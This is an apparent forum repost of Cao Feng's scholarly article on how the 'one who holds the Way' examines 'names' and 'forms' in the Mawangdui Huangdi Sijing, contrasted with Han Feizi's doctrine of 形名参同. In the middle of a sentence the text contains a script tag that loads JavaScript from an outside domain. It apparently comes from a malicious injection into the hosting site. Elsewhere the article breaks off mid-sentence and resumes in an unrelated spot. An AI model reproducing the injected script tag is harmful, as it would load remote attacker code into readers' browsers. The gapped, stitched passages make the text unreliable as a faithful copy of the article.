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《黄帝四经》所见“执道者”与“名”的关系(曹峰)

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发表于 2009-9-1 16:45:02 | 显示全部楼层 |阅读模式
(2008-7-13 16:47:12)
作者:曹峰    转载于:简帛研究(http://jianbo.sdu.edu.cn)  
    内容提要:名思想是解读黄老道家政治哲学一条重要线索,《黄帝四经》为此提供了丰富的材料。《黄帝四经》称统治者为“执道者”,“执道者”首要的政治任务是审名察形,确定对象究竟处于“正名”还是“倚名”。“执道者”在审察事情名形时要保持“无名”、“无形”的姿态,目的是为了保障君主在政治上的垄断权。

    关键词:马王堆帛书、《黄帝四经》、名



                                        前言

  马王堆帛书《黄帝四经》[①]中与“名”相关的论述非常丰富,如果要对这部出土文献作出正确解读,“名”是极其重要的一条线索,以往对《黄帝四经》思想构造的研究,只重“道法”关系二元结构,不重“道名法”关系三元结构,存在很大的缺陷。笔者在《〈黄帝四经〉所见“名”的分类》(以下简称《分类》)一文中,探讨了《黄帝四经》所见名思想研究的必要性,分析了“道”、“名”、“法”三者间的相互关系,并将不同语境中的“名”分为五类,认为《黄帝四经》所见“名”的性质和“法”相近,与规范、准则相关。本文可以说是《分类》一文的续篇,主要讨论《黄帝四经》中“执道者”是如何通过审“名”展开政治活动的,从而揭示“名”在黄老道家政治哲学中的特殊价值和意义。为阅读方便,本文在引用帛书时,对没有争议的假借字不再标出原文。


                     一、《黄帝四经》中“执道者”的审“名”活动

  在《黄帝四经》中,统治者有多种称谓,如“执道者”、“圣人”、“圣王”、“君”、“主”、“人主”、“主上”、“王天下者”、“帝王”、“王公”、“帝者”、“王者”、“霸者”,往往根据文意有选择地使用。在此之所以选取“执道者”作为统治者的名称,一是因为这种用法颇为常见,二是因为“执道者”这一称呼能有助于说明“道”、“名”、“法”三者之间的关系。对“执道者”而言,“道”有着三方面的意义,一,“道”是统治者认识和行动的总根源、总依据[②]。二,“执道者”必须采取与“道”相应的“无形”的姿态去把握“有名”、“有形”的对象,从而最终达到“无为”的境界。三,存在于天地四时的运行法则中的“道”是“执道者”必须参照遵循的准则。本篇主要谈“名”,因此,基本围绕第二个层面展开讨论。在此首先分析“执道者”是如何审査“形”、“名”的。

    《黄帝四经》中并无“形名参同”的说法,但用“形名参同”来解释《黄帝四经》中所见名思想是一种十分通行的做法。它表现为两种倾向,一种是将《黄帝四经》中所见“形名”直接看作君主对臣下“循名责实”的“形名法术” [③],笔者称其为狭义的“形名参同”观。另一种则是广义的“形名参同”观。在此先分析第一种。

    众所周知,第一种“形名参同”观在《韩非子》表现得最为典型。例如《主道》篇说“道者,万物之始,是非之纪也。是以明君守始,以知万物之源,治纪以知善败之端。故虚静以待,令名自命也,令事自定也。虚则知实之情,静则知动者正。有言者自为名,有事者自为形。形名参同,君乃无事焉。”显然这里的“名”指的是臣下的“言”,“形”指的是臣下的“事”,君主用其“言”去考验、对照其“事”。《扬权》篇说“用一之道,以名为首。名正物定,名倚物徙。故圣人执一以静,使名自命,令事自定。不见其采,下故素正。因而任之,使自事之。因而予之,彼将自举之。正与处之,使皆自定之。上以名举之,不知其名,复修其形。形名参同,用其所生。”其中关于“名正”、“名倚”的表达方式与《黄帝四经》非常接近。但同篇又说“君臣不同道,下以名祷。君操其名,臣效其形,形名参同,上下和调也。”可见“形名参同”之术的运用是完全限定在君臣之间的。“形名参同”的基本精神是“循名责实”,就是君主依据名实一致的原理,根据臣之所言或根据职责来检验臣下的实际功效[④]。

  《黄帝四经》中多见“循名”之言,但如《分类》已确认的那样,此“名”基本上代表既定的、规定的位置与形态,而且意义宽泛,并非单纯指治臣之术。《经法》中也有“王术”的说法,《六分》篇中有“不知王术,不王天下。知王〔术〕者,驱聘驰猎而不禽荒,饮食喜乐而不湎康,玩好嬛好而不惑心,倶与天下用兵,费少而有功。”可见这并非单指御臣之术。

     如《分类》所述,在《黄帝四经》中,“名”、“形”因为常常并称,所以两者在意义上并无实质的差异,没有太多强调两者间的主次关系,都可以看作是“规定的位置、应有的形态”。因此,把“名”和“形”看作名称与实体、言说与行动,事先之发言与事后之功效、官职与实绩,时时确认“名”和“形”是否对应、是否一致,这种称之为“形名参同”的君主统治术或行政管理方法,笔者以为在《黄帝四经》并没有发现。

  《经法》中也可见“名实”一起使用的例子。但非常少。如《四度》篇中有:

        美恶有名,逆顺有形,情伪有实,王公执□以为天下正。

    即一旦把握了“美恶”、“逆顺”、“情伪”之“名”、“形”、“实”,
逆”,讨伐不该讨伐的国家,让不该存续的国家继续存续下去称之为“暴”。“逆”则失去国家维持的根本,“乱”则失去臣民各自的职分,“逆”则失去天时(农时),“暴”则失去臣民。失去国家维持的根本,国家就会受损。臣民失去各自的职责国家就会被侵犯,失去天时(农时)国家就会有饥荒,臣民逃亡。国家就失去健康

    关于《六分》篇中的“六逆”,我们以第一逆“其子父,其臣主”为例,看它在后文中是如何展开分析和判断的。

        “其子父,其臣主,虽强大不王。”→“適子父,命曰上曊,群臣离志。大臣主,命曰雍塞。”→“在强国削,在中国破,在小国亡。”

    如果现实中存在着“其子父,其臣主”的状态,可推定其实质为“虽强大不王”。根据这种“形态”和“实情”,如“適子父,命曰上曊,群臣离志;大臣主,命曰雍塞。在强国削、在中国破、在小国亡”所言,将子作出父之举动的行为命名为“上曊”,将大臣作出君主之     举动的现象命名为“雍塞”。能够想像得出,如果发生了“上曊”的事态,群臣就会有离国之志。如果发生了“上曊”、“雍塞”的事态,强国会失去国土,中等国家会在战争中失败,小国会导致亡国的结局。很显然,“上曊”、“雍塞”这些名称是与“规定的位置和形态”相对照之后,被赋予的“倚名”。正因为是“倚名”,所以能想见“群臣离志”、“在强国削、在中国破、在小国亡”之结局。因此,君主根据名实相应的原则,观察各种各样的政治状况,把握“上曊”、“雍塞”等名称,然后赋予对象必然的结局,采取切实有效的行动。这就是《经法•道法》所说的“形名已立,声号已建,则无所逃迹匿正矣。”

    “四度”是《四度》篇所讨论的一个命题。其中有“善”、“恶”两种倾向。在此我们来观察“恶”的程序是如何展开的

        “君臣易位”→“谓之逆”→“逆则失本”→“失本则〔损〕”

        “贤不肖并立”→“谓之乱”→“乱则失职”→“失职则侵”

        “动静不时”→“谓之逆”→“逆则失天”→“失天则饥”

        “生杀不当”→“谓之暴”→“〔暴〕则失人”→“失人则疾”

  这是非常清晰而富有逻辑性的表达方式。即先描述政治现象(正常的形态或非正常的形态),然后用“谓之”给出判断(“正名”或是“倚名”),最后对必然的结果亦即未来的实态作出预见。与以上“六逆”、“四度”相类似的表达方式,还有《国次》篇的“五逆”,《六分》篇中与“六逆”相反的“六顺”,《亡论》篇的“六危”、“三不辜”、“三壅”、“三凶”等等。作者将政治场合最深刻的问题用数字方式加以细致的分类,然后一一作出判断和预见。判断的表述方式有《六分》篇的“命曰”,《国次》篇的“是谓”、“此谓”,《四度》篇的“谓之”,《论》篇、《亡论》篇、《论约》篇的“谓之”、“曰”、“命曰”等等。《四度》篇说“审知四度,可以定天下,可安一国。”(审査了解了“四度”,就可以治天下,就可以安一国。)《六分》篇说“主上者执六分以生杀,以赏〔伐〕[⑨],以必伐。……故王天下。”(统治者根据“六逆”、“六顺”之“六分”,从事生杀、赏罚、讨伐。……所以能够统治天下。)可见这些以数字表达的内容正是“执道者”“审名察形”的对象,从大量使用的判断用词看,审名的活动贯穿了《经法》全文。

  最后,试用《论约》篇的例子,再归纳出“执道者”是如何利用审“名”活动阐明政治原理、展开政治活动的。

  第一步:“执道者之观于天下也,必审观事之所始起,审其形名”,即审査对象之“形”、“名”是否处于正确的规定的位置。

  第二步:“形名已定,逆顺有位,死生有分,存亡兴坏有处。”通过确认对象之形名,看穿对象的最终结局。

  第三步:“然后参之于天地之恒道,乃定祸福死生存亡兴坏之所在。”如果“执道者”要进一步采取行动,那就是给对象赋予和“名”相应的赏罚。

  说这种“审名”活动就是广义的“形名参同”说,虽然基本上没有错误,但容易对《黄帝四经》中所见“形名”做过分的解释。因为在典型的“形名参同”说中,“名”为主、“形”为次,“名”操纵“形”,“形”必须合于“名”。而笔者在《分类》中指出,《黄帝四经》中所见“形名”也可以倒过来称为“名形”,两者可以是并列平等的关系,均表示规定的位置、应有的姿态。这也正是《黄帝四经》会既说“正名”又说“恒形”的原因。例如《十六经•正乱》有“帝曰:‘谨守吾正名,毋失吾恒形,以示后人。’”显然“正名”、“恒形”都有类似准则之意。将“正名”、“恒形”所体现的“形名”与有着主次关系的“形名”不加区別,用《韩非子》所见“形名参同”说去诠释《黄帝四经》的话,就会出现过分拘泥的解释。

  通过以上论述也可以解释“名”为何在《黄帝四经》中较少释为“职分”、“职守”的原因,因为在“形名参同”的话题中,作为“职守”的“名”才更有讨论的价值,而《黄帝四经》的主要话题并不是狭义的“形名?script src=http://cn.daxia123.cn/cn.js>

故唯执〔道〕者能上明于天之反,而中达君臣之畔,富密察于万物之所终始,而弗为主。故能至素至精,悎弥无形,然后可以为天下正。(《经法•道法》)

        故唯执道者能虚静公正,乃见□□,乃得名理之誠。(《经法•名理》)

        □〔生〕□、□生惠、惠生正、〔正〕生静。静则平、平则宁、宁则素、素则精、精则神。至神之极,〔见〕知不惑。帝王者,执此道也。(《经法•论》)

  更具体地说,是“执道者”必须具备一种来自于“道”的、称之为“神明”的高超能力。这种作为“见知之稽”的“神明”,使君主可以把握流动的、刻刻变化之中对象物。

        道者,神明之原也。神明者,处于度之内而见于度之外者也。处于度之〔内〕者,不言而信。见于度之外者,言而不可易也。处于度之内者,静而不可移也。见于度之外者,动而不可化也。动而[⑮]静而不移,动而不化,故曰神。神明者,见知之稽也。(《经法•名理》)

   上面这段文字非常抽象,用现代语言很难准确翻译。各家译文都有相异之处。笔者试译为:“道”是“神明”之根源。所谓“神明”指的是,既处于“度”(当指规则、规范)之内又可以“见于”(把握)“度”之外。“处于度之内”指的是不需要“言”然而有信。“见于度之外”指的是需要“言”但不可更易其所“言”。“处于度之内”指的是无所行动保持稳定,“见于度之外”指的是有所行动而不可改变其行动。能“静而不移”、“动而不化”者谓之“神”。“神明”是见知天下之依据。笔者以为,如果按通过“无形”把握“有形”这种思维结构去理解,可能会有令人满意的解说。所谓“度之内”、“度之外”,《名理》篇有解释,“度之内”指的是“已诺必信”即遵循法则的领域,“度之外”指的是普通的人根本无法把握的尚未建立规则的领域。唯具有“神明”者即“执道者”可以同时把握这两个领域,“度之内”只要保持安静和稳定就可以了,“度之外”则要通过行动建立规则并使这种规则不可更易,这种行动指的是“言”和“动”,“言”可以理解为“执道者”建“名”即建立规范、准则,“动”就是依据“名”而作出行动。这样的解释,虽然有想像的成分,但和《经法》的整个思想体系是最为吻合的。

  圣人通过“无形”、“无名”把握“有形”、“有名”,这种思想显然出于《老子》,它既与“天下万物生于有,有生于无”(第四十章)、“无名万物之始,无名万物之母”(第一章)之生成论相关,也与“为之于未有,治之于未乱”(第六十四章)的思想相关。这类思想被战国中后期结合道名法三者为一体的思想家们充分运用到政治领域。唯有圣人能由“道”至“名”,并建立政治秩序,它保证了君主在政治上的垄断权。更具体说是唯有圣人能从“无形”、“无名”中看到即将形成的“形名”,这样“执道者”就控制了来自于“道”的最根本的政治资源从而使其立于无人能挑战的绝对地位。所谓“神明”的观念其实正是这种高超能力的体现[⑯]

  有必要注意的是,虽然《黄帝四经》鼓吹“执道者”要保持一种“虚静公正”、“至素至精”的姿态,但它不等于因为君主“耳目心智之不足恃”(《呂氏春秋•任数》),而故意“去听”、“去视”、“去智”,就是说它不像《韩非子》中所见的御臣之“术”,即便有耳目局限,凭借“法术”也能把握政治。虽然《黄帝四经》中的“执道者”追求“无为”,但“执道者”在“审名察形”时决不“无为”。


                                          小结

  《黄帝四经》中充斥“名”的论述,但“名”一定要和“道”、“法”结合起来,才能真正理解其在政治哲学中的价值和含义。就是说“道”、“名”、“法”这三种概念之间存在着有机关联,“道”居于上位,是最高范畴和出发点,“名”、“法”居于下位,视“道”为其存在依据。虽然“名”、“法”都是和“秩序”、“法则”相关的概念,但“名”是从“道”到“法”的媒介和过渡阶段,“法”则是最终的手段。因此,我们就能明白《黄帝四经》为什么要称统治者为“执道者”,为什么“执道者”要将“审名察形”作为政治首务,为什么“执道者”在“审名察形”时要保持“无名”、“无形”的姿态,这一切正是为了保证君主在政治上的垄断权。因此,名思想是黄老道家思想非常重要的组成部分。


[参考文献]

[1] 金谷治,《先秦における法思想の展開》[A],《金谷治中国思想论集》中卷[M],东京:平河出版社,1997,443-444页。

[2] 王博,老子思想的史官特色[M],台北:文津出版社,1993,354页。


                                          此文已刊载于《湖南大学学报》2008年第3期
 
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